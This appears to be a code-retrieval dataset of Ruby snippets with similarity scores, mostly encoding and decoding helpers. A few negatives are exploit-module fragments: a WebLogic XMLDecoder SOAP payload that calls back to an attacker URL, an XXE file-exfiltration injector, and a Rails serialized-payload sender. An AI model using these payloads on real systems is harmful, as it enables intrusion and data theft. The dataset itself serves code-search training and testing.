"def content_sanitized(source_encoding=nil)\n content(source_encoding).encode('UTF-8', invalid: :replace, undef: :replace)\n end",
"def unescape(s); s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){[$1.delete('%')].pack('H*')} end",
"def to_utf (str)\n encoded_str = ''\n str.split('').each {|char| \n encoded_char = char.encode('UTF-8')\n encoded_char.bytes.each {|byte|\n encoded_str << \"%#{byte.to_s(16)}\"\n }\n }\n return encoded_str\nend",
"def parse_message(payload)\n @parsers.inject(payload) do |memo, parser|\n parser.call(memo)\n end\n end",
"def payload\n @payload[0] if @payload\n end",
"def mime_decode(str, charset = \"UTF-8\")\n decstr = \"\"\n items = str.split(/\\s/).collect{|c| c.strip}\n items.each_with_index do |item, i|\n if item.empty?\n decstr += \" \"\n next\n end\n decstr += \" \" unless decstr.empty?\n mis = item.scan(/^=\\?(UTF-8|utf-8)\\?(B|b)\\?(.+)\\?=$/).flatten\n if mis.empty?\n decstr += item\n else\n decstr += Base64.decode64(mis[-1])\n end\n end\n return msg_decode(decstr, charset)\n end",
"def clean\n self.encode!('UTF-8', :invalid => :replace, :undef => :replace, replace: '')\n end",
"def unicode_esc!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n \n # - - - - main rule block - - - -\n # at line 309:9: '\\\\\\\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT\n match( 0x5c )\n match( 0x75 )\n hex_digit!\n hex_digit!\n hex_digit!\n hex_digit!\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end",
"def string\n str = basic_string\n if str.respond_to? :force_encoding\n str.force_encoding InternalEncoding\n end\n\n convert(str, @encoding)\n end",
"def u64(s)\n return unless s\n Base64.decode64 CGI.unescape(s)\n end",
"def check_process_builder_payload\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java version=\"1.8\" class=\"java.beans.XMLDecoder\">\r\n <void id=\"url\" class=\"java.net.URL\">\r\n <string>#{get_uri.encode(xml: :text)}</string>\r\n </void>\r\n <void idref=\"url\">\r\n <void id=\"stream\" method = \"openStream\" />\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end",
"def payload=(payload)\n @message[:payload] = payload\n end",
"def to_utf8; convert_format(ASCII8BIT, UTF8); end",
"def read_universal_char(len)\n p = get_pos(-2)\n r = 0\n len.times do\n c = readc\n case c\n when *'0'..'9' then r = (r << 4) | (c.ord - '0'.ord)\n when *'a'..'f' then r = (r << 4) | (c.ord - 'a'.ord + 10)\n when *'A'..'F' then r = (r << 4) | (c.ord - 'A'.ord + 10)\n else\n raise \"#{p}: invalid universal character: #{c}\"\n # errorp(p, \"invalid universal character: %c\", c)\n end\n end\n if !is_valid_ucn(r)\n raise \"#{p}: invalid universal character: \\\\#{(len == 4) ? 'u' : 'U'}#{format(\"%0#{len}d\", r)}\"\n # errorp(p, \"invalid universal character: \\\\%c%0*x\", (len == 4) ? 'u' : 'U', len, r);\n end\n r\n end",
"def decode_rle(msg)\n vprint_status \"Before decoding: #{msg}\"\n msg.gsub /.\\*./ do |match|\n match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1)\n end\n end",
"def fix_utf8\n str = force_encoding(\"UTF-8\")\n return str if str.valid_encoding?\n\n str.encode(\"UTF-8\", \"binary\",\n invalid: :replace, undef: :replace, replace: \"\")\n end",
"def string\n Util.from_bytes :string, value\n end",
"def decode_strings(obj)\n case obj\n when String then\n if obj[0,2] == \"\\376\\377\"\n PDF::Reader::Encoding.new(:UTF16Encoding).to_utf8(obj[2, obj.size])\n else\n PDF::Reader::Encoding.new(:PDFDocEncoding).to_utf8(obj)\n end\n when Hash then obj.each { |key,val| obj[key] = decode_strings(val) }\n when Array then obj.collect { |item| decode_strings(item) }\n else\n obj\n end\n end",
"def unescape(str)\n str = str.force_encoding(\"UTF-8\") if str.respond_to?(:force_encoding)\n str = str.gsub(/&#(\\d{3});/) { [$1.to_i].pack(\"U\") }\n CGI.unescapeHTML(str)\n end",
"def url_decode\n Rack::Utils.unescape self\n end",
"def consume_unicode_range; end",
"def ensure_correct_encoding!(val)\n if @eval_string.empty? &&\n val.respond_to?(:encoding) &&\n val.encoding != @eval_string.encoding\n @eval_string.force_encoding(val.encoding)\n end\n end",
"def unescape(str, escaped = @regexp[:ESCAPED])\n str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(str.encoding)\n end",
"def decode(input)\n decoded_string = ''\n seekable = PushableString.new(input.dup)\n while seekable.next?\n t = decode_char(seekable)\n if t.nil?\n decoded_string << seekable.next\n else\n decoded_string << t\n end\n end\n decoded_string\n end",
"def to_s\n @parser ||= WikitextParser.new\n @parsed ||= @parser.parse(@string).to_s\n end",
"def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend",
"def decode_str\n index_of_last_digit = @index + self[@index..self.length - 1].index(':')\n length_of_string = self[(@index)..(@index + index_of_last_digit - 1)].to_i\n\n # The string itself starts 1 past the index of the last digit (because of the colon)\n # and ends 2 more than the length of the string past the index.\n string = self[(index_of_last_digit + 1)..(index_of_last_digit + length_of_string)]\n\n # Increment index by the length of the string plus the length of the digits.\n @index += index_of_last_digit - @index + length_of_string\n string\n end",
"def decode_val( encoding, size, io )\n # plain string\n if encoding == Protocol::ENCODINGS[:plain]\n io.read_unpacked size, 'a' + size.to_s\n # number\n elsif encoding == Protocol::ENCODINGS[:number]\n io.read_unpacked size, size == 4 ? 'l<' : 'q<'\n else\n raise 'Unknown data encoding.'\n end\n end",
"def unescape(string)\n \"\\\"#{string}\\\"\".undump\n end"
] |
[
"0.62006783",
"0.58458453",
"0.5787604",
"0.5679404",
"0.5602987",
"0.55685115",
"0.5510762",
"0.54461074",
"0.54351884",
"0.5427805",
"0.5420967",
"0.5415065",
"0.535099",
"0.5347051",
"0.5338113",
"0.53340226",
"0.53127503",
"0.5300515",
"0.52610123",
"0.5240466",
"0.5240466",
"0.52374244",
"0.5236273",
"0.52120835",
"0.518234",
"0.5178388",
"0.5161532",
"0.51534575",
"0.51517165",
"0.514871",
"0.51483077",
"0.51381403",
"0.51341546",
"0.5121091",
"0.51160085",
"0.5105072",
"0.5101879",
"0.5094512",
"0.50866055",
"0.50849414",
"0.50827557",
"0.50804347",
"0.50796086",
"0.506847",
"0.5065558",
"0.50617594",
"0.50545675",
"0.50545675",
"0.5039177",
"0.5017803",
"0.50077295",
"0.4994332",
"0.4991528",
"0.49848354",
"0.49837798",
"0.49814963",
"0.49812132",
"0.4945329",
"0.49431056",
"0.4941463",
"0.49358016",
"0.49245647",
"0.49226052",
"0.4920909",
"0.4916277",
"0.49161112",
"0.49031264",
"0.48987094",
"0.48956928",
"0.48828936",
"0.48821822",
"0.48749247",
"0.48731953",
"0.48601967",
"0.4857927",
"0.48358053",
"0.48221713",
"0.4820937",
"0.48169848",
"0.48124436",
"0.48098686",
"0.48080134",
"0.48064902",
"0.47936723",
"0.4786973",
"0.4776586",
"0.47714606",
"0.4767448",
"0.47560728",
"0.47532",
"0.4736857",
"0.4727928",
"0.47188422",
"0.47159013",
"0.47143963",
"0.47099602",
"0.47090226",
"0.47061098",
"0.47043192",
"0.4697961"
] |
0.7363163
|
0
|
Private: Filters the payload. payload the payload string Returns a string.
|
def crypt_keeper_filter_postgres_log(payload)
payload.gsub(FILTER) do |_|
"#{$~[:operation]}([FILTERED])"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filter(val)\n raise \"filter requires a String.\" unless val.is_a? String\n @filter = val\n self\n end",
"def filter_string\n\t\treturn self.filter.to_s\n\tend",
"def filter(editable_payload, level, event_name)\n raise NotImplementedError,\n 'You must implement the method filter(editable_payload, level, event_name)'\n end",
"def validate_payload\n raise EmptyPayloadException.new unless payload\n raise PayloadEncodingException.new unless payload.encoding.to_s == \"UTF-8\"\n raise PayloadFormattingException.new if payload =~ / /\n end",
"def filter (data)\n # leave the data untouched if we don't support the required filter\n return data if @filter.nil?\n\n # decode the data\n self.send(@filter, data)\n end",
"def filter2(string)\n\nend",
"def filter1(string)\n\nend",
"def filter(str)\n FILTERS.each do |f|\n str = f.filter(str)\n end\n str\n end",
"def bypass(payload)\n payload.gsub(/1{5}/, \"111110\")\n end",
"def payload; message[:payload]; end",
"def format_request(payload); end",
"def format_request(payload); end",
"def payload\n @payload ||= JSON.parse(fields[\"payload\"])\n end",
"def format_payload(payload, as: JSON_CONTENT_TYPE)\n # Non-Hash payloads are passed through as-is.\n return payload unless payload.is_a? Hash\n\n # Massage Hash-like payloads into a suitable format.\n case as\n when JSON_CONTENT_TYPE\n JSON.generate(payload.as_json)\n when FORM_CONTENT_TYPE\n payload.to_query\n else\n payload.to_s\n end\n end",
"def filter_argument; end",
"def encode_payload(payload)\n payload = payload.is_a?(Hash) ? payload : payload.as_json\n JSON.dump(payload)\n end",
"def payload(document,payload)\n\t# insert the payload, TODO this should be refactored\n\tdocument = document.gsub('<?xml version=\"1.0\" encoding=\"UTF-8\"?>',\"\"\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>#{payload.gsub('IP',@options[\"ip\"]).gsub('FILE',@options[\"exfiltrate\"])}\"\"\")\n\tdocument = document.gsub('<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>',\"\"\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>#{payload.gsub('IP',@options[\"ip\"]).gsub('FILE',@options[\"exfiltrate\"])}\"\"\")\n\treturn document\nend",
"def filter_text\n attributes.fetch(:filterText)\n end",
"def encode_payload(payload)\n payload = payload.is_a?(Hash) ? payload : payload.as_json\n JSON.dump(payload)\n end",
"def payload; end",
"def payload; end",
"def payload=(payload)\n @message[:payload] = payload\n end",
"def payload_badchars\n opts['Payload'] ? opts['Payload']['BadChars'] : nil\n end",
"def filter_in(str)\n return \"\" if str.nil? || str.empty?\n log.debug(\"(#{@pstack.conn.object_id}) INPUT #{str.inspect}\" )\n str\n end",
"def filters?(str); end",
"def filters?(str); end",
"def filter_string(str)\n str.split(' ').reject do |v|\n @filters.any? { |filter| filter.call(v) }\n end\n end",
"def parse(payload)\n parse_action(payload)\n end",
"def escape_fields( payload )\n\n payload[:title] = escape_field( payload[:title] ) if field_supplied( payload[:title] )\n payload[:abstract] = escape_field( payload[:abstract] ) if field_supplied( payload[:abstract] )\n return payload\n\n end",
"def parse_filter(filter_argument = T.unsafe(nil), &filter_proc); end",
"def payload\n @payload.fetch('payload')\n end",
"def payload\n @payload[0] if @payload\n end",
"def filter; end",
"def filter; end",
"def filter; end",
"def filter(text, *filters)\n filters.inject(text) do |text,method_name|\n send(method_name, text)\n end\n rescue => boom\n \"<p><strong>Boom!</strong></p><pre>#{escape_html(boom.to_s)}</pre>\"\n end",
"def filter(text, *filters)\n filters.inject(text) do |text,method_name|\n send(method_name, text)\n end\n rescue => boom\n \"<p><strong>Boom!</strong></p><pre>#{escape_html(boom.to_s)}</pre>\"\n end",
"def sanitize\n scrub_payload_emails\n scrub_actor_attributes\n end",
"def payload\n @payload\n end",
"def crypt_keeper_payload_parse(payload)\n payload.encode('UTF-8', 'binary',\n invalid: :replace, undef: :replace, replace: '')\n end",
"def inbound_payload\n JSON.parse(data)['inbound']['payload']\n end",
"def filter\n end",
"def entry_body(entry=@entry)\n filter(entry.body, entry.filter)\n end",
"def entry_body(entry=@entry)\n filter(entry.body, entry.filter)\n end",
"def call payload={}\n return payload unless payload[:text] # noope if there is no message to work on\n\n # not efficient, but it's an example :)\n options[:pairs].each do |from, to|\n payload[:text] = payload[:text].gsub from, to\n end\n\n payload # always return the payload from your middleware\n end",
"def filter(text)\n text.upcase.gsub(@filter, '')\n end",
"def unfiltered_content; end",
"def unfiltered_content; end",
"def unfiltered_content; end",
"def filter_proc(filters = {})\n lambda do |p|\n (filters[:name].nil? || p.name =~ filters[:name]) &&\n (filters[:appid_name].nil? || p.app_id_name =~ filters[:appid_name]) &&\n (filters[:appid].nil? || p.entitlements.app_id =~ filters[:appid]) &&\n (filters[:uuid].nil? || p.uuid =~ filters[:uuid]) &&\n (filters[:team].nil? || p.team_name =~ filters[:team] || p.team_ids.any? { |id| id =~ filters[:team] }) &&\n (filters[:exp].nil? || (p.expiration_date < DateTime.now) == filters[:exp]) &&\n (filters[:has_devices].nil? || !(p.provisioned_devices || []).empty? == filters[:has_devices]) &&\n (filters[:all_devices].nil? || p.provisions_all_devices == filters[:all_devices]) &&\n (filters[:aps_env].nil? || match_aps_env(p.entitlements.aps_environment, filters[:aps_env])) &&\n true\n end\n end",
"def filter(expr); end",
"def filter(expr); end",
"def incoming_body_filter(attr_hash)\n attr_hash\n end",
"def build_query(payload)\n if payload[:file]\n payload\n else\n Rack::Utils.build_nested_query(payload)\n end\n end",
"def input(payload)\n payload.each { |k,v| payload[k] = v.to_s}\n @lock.synchronize do\n @buffer.push(payload)\n if @buffer.size >= @buffer_size\n flush\n end\n end\n\n nil\n end",
"def filter_create(payload, opts = {})\n data, _status_code, _headers = filter_create_with_http_info(payload, opts)\n data\n end",
"def strict_filters; end",
"def filter\n RuleAspect.from_hash(description['Filter'])\n end",
"def payload\n @payload ||= JSON.parse(@message.value)\n end",
"def filter_notifications_stream(publisher, filter, time = nil)\n publisher.notifications(time, filter)\n end",
"def filter(event)\n\tstring = event.get(\"[bluecheck][sectools]\")\n\tstring2 = string.gsub(\"ProcessID\",\"{ \\\"ProcessID\\\"\")\n\tstring3 = string2.gsub(\" Vendor\",\", \\\"Vendor\\\"\")\n\tstring4 = string3.gsub(\" Product\",\", \\\"Product\\\"\")\n\tstring5 = string4.gsub(\",{\",\"},{\")\n\tstring6 = string5.gsub(\": \",\": \\\"\")\n\tstring7 = string6.gsub(\", \",\"\\\", \")\n\tstring8 = string7.gsub(\"},\",\"\\\"},\")\n\tstring9 = \"[\"+string8+\"\\\" }]\"\n\tjson = JSON.parse(string9)\n\tevent.tag(\"_rubyparseok\")\n\tevent.set(\"[bluecheck][sectools]\", json)\n\treturn [event]\nend",
"def stream_sse_payload(payload)\n message = convert_payload_to_message(payload)\n\n begin\n @subscriber.stream.write(message)\n rescue IOError\n # The stream has been closed\n unsubscribe\n end\n end",
"def sanitize(review)\n xss_filter(review)\n end",
"def filter(*args); Typelib.filter_function_args(args, self) end",
"def payload\n redirect_to_actual(:payload)\n end",
"def payload=(payload)\n @payload = payload\n @size, @body = @payload.unpack(PAYLOAD_FORMAT)\n @object = JSON.parse(@body)\n end",
"def to_s\n @payload ? @payload.to_s : self\n end",
"def filter\n params['filter_field'] || '*'\n end",
"def append_info_to_payload(payload); end",
"def to_s\n\t\t# self.log.debug \"stringifying filter %p\" % [ self ]\n\t\tfiltercomp = self.component.to_s\n\t\tif filtercomp[0] == ?(\n\t\t\treturn filtercomp\n\t\telse\n\t\t\treturn '(' + filtercomp + ')'\n\t\tend\n\tend",
"def coerce_payload(payload, error_context_str)\n c = \"\"\n had_lossy_string = false\n case payload\n when Hash\n c = payload.each_with_object({}) do |(k, v), memo|\n new_k, l = coerce_payload(k, error_context_str)\n had_lossy_string ||= l\n\n new_v, l = coerce_payload(v, error_context_str)\n had_lossy_string ||= l\n memo[new_k] = new_v\n end\n when Array\n c = payload.map do |v|\n new_v, l = coerce_payload(v, error_context_str)\n\n had_lossy_string ||= l\n new_v\n end\n when String\n coerced_str = Puppet::Util::Puppetdb::CharEncoding.coerce_to_utf8(payload)\n\n if coerced_str != payload\n had_lossy_string = true\n\n if Puppet.settings[:log_level] == \"debug\"\n Puppet.debug error_context_str + \"\\n\" + Puppet::Util::Puppetdb::CharEncoding.error_char_context(coerced_str)\n end\n end\n\n c = coerced_str\n else\n c = payload\n end\n\n [c, had_lossy_string]\n end",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def send_serialized_payload(rails_payload)\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => \"/rails/active_storage/disk/#{rails_payload}/test\",\r\n })\r\n\r\n if res && res.code != 200\r\n print_error(\"It doesn't look like the exploit worked. Server returned: #{res.code}.\")\r\n print_error('The expected response should be HTTP 200.')\r\n\r\n # This indicates the server did not accept the payload\r\n return false\r\n end\r\n\r\n # This is used to indicate the server accepted the payload\r\n true\r\n end",
"def to_s\n filter.to_s\n end",
"def body_to_string\n sanitized_body.keys.sort_by(&:downcase).map{|key| \"#{key}=#{@body[key]}\" }.join(\"\")\n end",
"def strip_unwanted!(filter)\n substitute!(filter, '')\n end",
"def filter!; end",
"def inject_payload(my_payload)\r\n\r\n\t\tbuf = ''\r\n\t\tbuf << \"\\x01\\x00\\x34\\x12\"\r\n\t\tbuf << \"\\x0D\" #Opcode\r\n\t\tbuf << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Flag\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Command (ListAll)\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << my_payload\r\n\t\tbuf << Rex::Text.rand_text_alpha(1024-my_payload.length)\r\n\t\tbuf << \"\\x00\"*130\r\n\r\n\t\t#Packet size\r\n\t\tbuf_size = [buf.length + 2].pack('v')\r\n\t\tbuf = buf_size + buf\r\n\r\n\t\tconnect\r\n\r\n\t\tsock.put(buf)\r\n\t\tprint_status(\"Injecting payload in memory to #{datastore['RHOST']}\")\r\n\r\n\t\tdisconnect\r\n\tend",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def to_filter\n to_hash.to_filter\n end",
"def payload=(_arg0); end",
"def payload\n params.reject{ |k,v| %w{site_id id format controller action}.include?(k) }\n end",
"def filter_cards(filter_str)\n set_attributes_for(Card)\n Card.apply_filter(filter_str)\n end",
"def render\n payload.to_json\n end",
"def via_payload\n\t\tself.via['Payload'] if (self.via)\n\tend",
"def filter(filter)\n @filters << CGI.escape(filter)\n self\n end",
"def via_payload\n\t\tself.via['Payload'] if (self.via)\n\tend",
"def create_context(payload)\n canonical_payload = []\n\n payload.keys.each do | key |\n val = payload[key].downcase\n key = key.downcase\n canonical_payload.push(sprintf \"%s=%s\\n\", key, val)\n end\n\n canonical_payload.sort!\n\n signed_headers_string = payload.keys.sort_by {|s| s.to_s }.join(\";\")\n canonical_payload.join(\"\") + \"\\n\" + signed_headers_string\n end",
"def to_s\n\t\t\treturn self.filters.collect {|f| f.to_s }.join\n\t\tend",
"def sanitize(string_or_io)\n Loofah.scrub_fragment(string_or_io, :escape).to_s\n end",
"def filter\n @filter\n end",
"def process_filters(search_opts = {})\n filter_str = ''\n if search_opts['filter']\n search_opts['filter'].each do |f|\n filter_str = \"#{filter_str} AND #{f}\"\n end\n search_opts.delete('filter')\n end\n filter_str\n end",
"def flat_payload\n self.payload.to_a.flatten\n end",
"def filter=(value)\n # nil and false disable the filter\n return @filter = false unless value # rubocop:disable Lint/ReturnInVoidContext\n\n @filter = value.to_s.downcase\n end",
"def filter value\n @filters.each do |filter|\n value = case filter\n when Symbol\n @parent.public_send filter, value\n when Proc\n if filter.arity == 0\n value\n else\n filter.call value\n end\n when Class, Object\n unless filter.respond_to? 'filter'\n value\n else\n filter.filter value\n end\n else\n value\n end\n end\n value\n end",
"def apply_filter(filters, content)\n # anything in the rule arrau form position 2 onwards is a Filter\n filtered = content\n \n # apply each filter in the rules\n filters.each do |filter_name|\n filter = FilterStore.get(filter_name)\n filtered = filter.call(filtered)\n end\n \n filtered\n end",
"def filter_string\n if params['gender']\n gender = \"gender = #{User.connection.quote(params['gender'])}\\n\"\n end\n\n if params['minAge']\n min = Integer(params['minAge'])\n min_age = \"age > #{User.connection.quote(min)}\\n\"\n end\n\n if params['maxAge']\n max = Integer(params['maxAge'])\n max_age = \"age < #{User.connection.quote(max)}\\n\"\n end\n\n return ['', gender, min_age, max_age].compact.join('AND ')\n rescue StandardError => e\n logger.warn(e)\n return ''\n end",
"def display(payload)\n filter = /^\\#/\n @buffer.delete(*@buffer.bounds)\n start = @buffer.get_iter_at_offset(0)\n\n payload.each do |line|\n if ( line.match(filter) )\n @buffer.insert_with_tags(start, line, 'comments')\n else\n @buffer.insert_with_tags(start, line, '_')\n end\n end\n end",
"def process_message(headers, payload)\n return if throttled?\n return unless filtered?(payload)\n\n @throttle += 1\n display_message(payload)\n end",
"def format(payload)\n event = payload.get(:data, :cfn_event)\n if(valid_event?(event))\n stack_id = payload.get(:data, :cfn_event, :stack_id)\n if(stack_id)\n debug \"Found stack ID information. Setting commander scrub commands. (Stack ID: #{stack_id})\"\n actions = payload.fetch(:data, :commander, :actions, [])\n actions << Smash.new(\n :name => app_config.fetch(:cfn, :formatter, :chef_cleanup_command, :chef_cleanup),\n :arguments => stack_id\n )\n payload.set(:data, :commander, :actions, actions)\n end\n end\n end"
] |
[
"0.57931453",
"0.5738752",
"0.56381243",
"0.5625995",
"0.55760115",
"0.5547066",
"0.5518767",
"0.5470776",
"0.5434641",
"0.5420411",
"0.5351926",
"0.5351926",
"0.53260195",
"0.5282426",
"0.52692515",
"0.5251239",
"0.52099776",
"0.5193109",
"0.5188539",
"0.5187708",
"0.5187708",
"0.51876444",
"0.5185561",
"0.51791286",
"0.51398677",
"0.51398677",
"0.5122022",
"0.5113993",
"0.5104714",
"0.50992024",
"0.50723696",
"0.50606936",
"0.50473946",
"0.50473946",
"0.50473946",
"0.50402844",
"0.50402844",
"0.50262296",
"0.5023581",
"0.5023447",
"0.49882126",
"0.4982722",
"0.49650142",
"0.49650142",
"0.49524134",
"0.49484062",
"0.49393526",
"0.49393526",
"0.49393526",
"0.49341497",
"0.4914924",
"0.4914924",
"0.49084738",
"0.49048272",
"0.48955473",
"0.48888424",
"0.4884059",
"0.48832414",
"0.48801294",
"0.48780587",
"0.4869747",
"0.48556796",
"0.484155",
"0.48264685",
"0.4819974",
"0.48136216",
"0.48123392",
"0.47999546",
"0.4799866",
"0.47986993",
"0.4797573",
"0.47939608",
"0.47812462",
"0.4780997",
"0.47794634",
"0.47693902",
"0.47600475",
"0.47521004",
"0.4749315",
"0.47402516",
"0.47353396",
"0.47227612",
"0.47217324",
"0.47060806",
"0.4696586",
"0.46963218",
"0.46947443",
"0.4692758",
"0.469044",
"0.46809274",
"0.46635637",
"0.4660361",
"0.46497914",
"0.46473974",
"0.4646287",
"0.4643638",
"0.46389285",
"0.46358585",
"0.4635442",
"0.46338615"
] |
0.66911334
|
0
|
Obter permissao por ID
|
def set_permissao
@permissao = Permissao.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_permissao\n @permissao = Permissao.find(params[:id])\n end",
"def id\r\n @id\r\n end",
"def id\n params[:id] \n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n\t\t@id\n\tend",
"def id\n self[:id]\n end",
"def set_permiso\n @permiso = Permiso.find(params[:id])\n end",
"def set_permiso\n @permiso = Permiso.find(params[:id])\n end",
"def id\n @params[\"id\"]\n end",
"def set_piiza_id\n @piiza_id = PiizaId.find(params[:id])\n end",
"def set_permitido\n @permitido = Permitido.find(params[:id])\n end",
"def set_ponderacion\n @ponderacion = Ponderacion.find(params[:id])\n end",
"def id\n self[:id]\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def id\n hid\n end",
"def id\n hid\n end",
"def to_param\n id\n end",
"def set_meupedido\n @meupedido = Meupedido.find(params[:id])\n end",
"def set_sivic_permissao\r\n @sivic_permissao = SivicPermissao.find(params[:id])\r\n end",
"def id\n raise \"Method 'id' must be defined\"\n end",
"def to_param\n id\n end",
"def getId\n @id\n end",
"def id\n hid\n end",
"def id\n params[:id]\n end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id\n object.to_param\n end",
"def get_id\n\t\treturn id\n\tend",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def set_pedido\n @pedido = Pedido.friendly.find(params[:id])\n end",
"def id\n return @id\n end",
"def realizar_cuestionario_impedimento\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario por Impedimento\"\n end",
"def set_id\n @id = Id.find(params[:id])\n end",
"def id\n self['id']\n end",
"def id\n self['id']\n end",
"def id\n @options[:id] \n end",
"def id\n data[:id]\n end",
"def to_param\n id\n end",
"def set_patrocinador\n @patrocinador = Patrocinador.find(params[:id])\n end",
"def p_id(controller, action)\r\n Permission.find_by_controller_and_action(controller.to_s,action.to_s).id\r\nend",
"def get_id\n params[:id]\n end",
"def getId\n return @id\n end",
"def get_id()\n @id\n end",
"def get_id()\n @id\n end",
"def set_perrito\n @perrito = Perrito.find(params[:id])\n end",
"def set_indicador\n\t @login = Login.find(params[:id])\n\t end",
"def id\n object[\"id\"]\n end",
"def id\n self.user_id\n end",
"def id\n object.id\n end",
"def id\n object.id\n end",
"def id\n data[:id]\n end",
"def id\n @data['id']\n end",
"def id\n return self[:id]\n end",
"def id\n @pe_id\n end",
"def id\n @obj['id']\n end",
"def id\n data[:id]\n end",
"def id\n object_id\n end",
"def set_grupo_permissao\n @grupo_permissao = GrupoPermissao.find(params[:id])\n end",
"def id\n #NOOP\n end",
"def id\n self.Id\n end",
"def id_param\n params[:id]\n end",
"def set_presupuestooo\n @presupuestooo = Presupuestooo.find(params[:id])\n end",
"def set_passeio\n @passeio = Passeio.find(params[:id])\n end",
"def id\n nil\n end",
"def set_detalle_ot_presupuesto\n @detalle_ot_presupuesto = DetalleOtPresupuesto.find(params[:id])\n end",
"def id\n @options[:id]\n end",
"def getId\n\t\treturn @id\n\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend"
] |
[
"0.701032",
"0.65891343",
"0.6481307",
"0.6470133",
"0.6470133",
"0.6470133",
"0.6470133",
"0.6469563",
"0.6430303",
"0.6430303",
"0.64282185",
"0.6416224",
"0.64067334",
"0.63816607",
"0.63799083",
"0.6365792",
"0.63585514",
"0.6351894",
"0.63220143",
"0.63129836",
"0.63065475",
"0.63065475",
"0.63065475",
"0.63065475",
"0.6299351",
"0.6299351",
"0.62633705",
"0.6262201",
"0.6261589",
"0.62569326",
"0.6233216",
"0.62149245",
"0.620556",
"0.6203456",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.620324",
"0.6202136",
"0.61716944",
"0.61685663",
"0.61685663",
"0.61685663",
"0.61685663",
"0.61685663",
"0.61685663",
"0.61685663",
"0.61630505",
"0.6156298",
"0.6151634",
"0.614498",
"0.61406773",
"0.61406773",
"0.6111041",
"0.6101238",
"0.60937965",
"0.60903317",
"0.60865533",
"0.60844433",
"0.6080832",
"0.60792506",
"0.60792506",
"0.60561883",
"0.6050777",
"0.60429734",
"0.6038925",
"0.60372645",
"0.60372645",
"0.60347724",
"0.6031826",
"0.6025787",
"0.60251516",
"0.60227954",
"0.60145384",
"0.6013663",
"0.601153",
"0.60098743",
"0.5998279",
"0.5998108",
"0.59962374",
"0.59781265",
"0.59778875",
"0.59771395",
"0.5975946",
"0.5967684",
"0.596661",
"0.596661",
"0.596661",
"0.596661",
"0.596661",
"0.596661"
] |
0.69548637
|
2
|
